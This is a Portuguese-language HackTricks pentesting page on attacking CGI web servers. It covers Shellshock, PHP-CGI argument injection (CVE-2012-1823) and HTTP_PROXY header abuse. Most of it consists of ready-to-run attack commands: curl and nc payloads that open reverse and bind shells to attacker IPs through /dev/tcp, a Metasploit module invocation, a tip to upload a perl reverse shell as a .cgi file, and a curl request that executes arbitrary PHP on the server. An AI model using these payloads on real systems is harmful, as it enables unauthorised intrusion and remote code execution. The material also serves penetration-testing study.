hacktricks/network-services-pentesting/pentesting-web/cgi.md

7 KiB

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informação

Os scripts CGI são scripts perl, então, se você comprometeu um servidor que pode executar scripts .cgi, você pode fazer upload de um shell reverso perl `/usr/share/webshells/perl/perl-reverse-shell.pl`, alterar a extensão de .pl para .cgi, dar permissões de execução `chmod +x` e acessar o shell reverso pelo navegador da web para executá-lo. Para testar vulnerabilidades CGI, é recomendado usar nikto -C all e todos os plugins

ShellShock

ShellShock é uma vulnerabilidade que afeta o amplamente utilizado shell de linha de comando Bash em sistemas operacionais baseados em Unix. Ele visa a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade está na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando código malicioso às variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.

Explorando essa vulnerabilidade, a página pode exibir um erro.

Você pode encontrar essa vulnerabilidade observando que está usando uma versão antiga do Apache e cgi_mod com pasta cgi ou usando nikto.

Teste

A maioria dos testes são baseados em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure todas as páginas cgi e teste-as.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (refletido, cego e out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploração

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM para solicitações de servidor Web)

CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"

Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um cabeçalho contendo: "Proxy: <IP_atacante>:<PORTA>" e se o servidor realizar alguma solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.

PHP antigo + CGI = RCE CVE-2012-1823, CVE-2012-2311

Basicamente, se o cgi estiver ativo e o php for "antigo" &lt;5.3.12 / &lt; 5.4.2, você pode executar código. Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros especialmente sem enviar o caractere "=". Em seguida, para testar essa vulnerabilidade, você poderia acessar, por exemplo, /index.php?-s observe o `-s`, e o código-fonte do aplicativo aparecerá na resposta.

Então, para obter RCE, você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input e o código PHP a ser executado no corpo da solicitação. Exemplo:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Mais informações sobre a vulnerabilidade e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemplo de CTF Writeup.

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: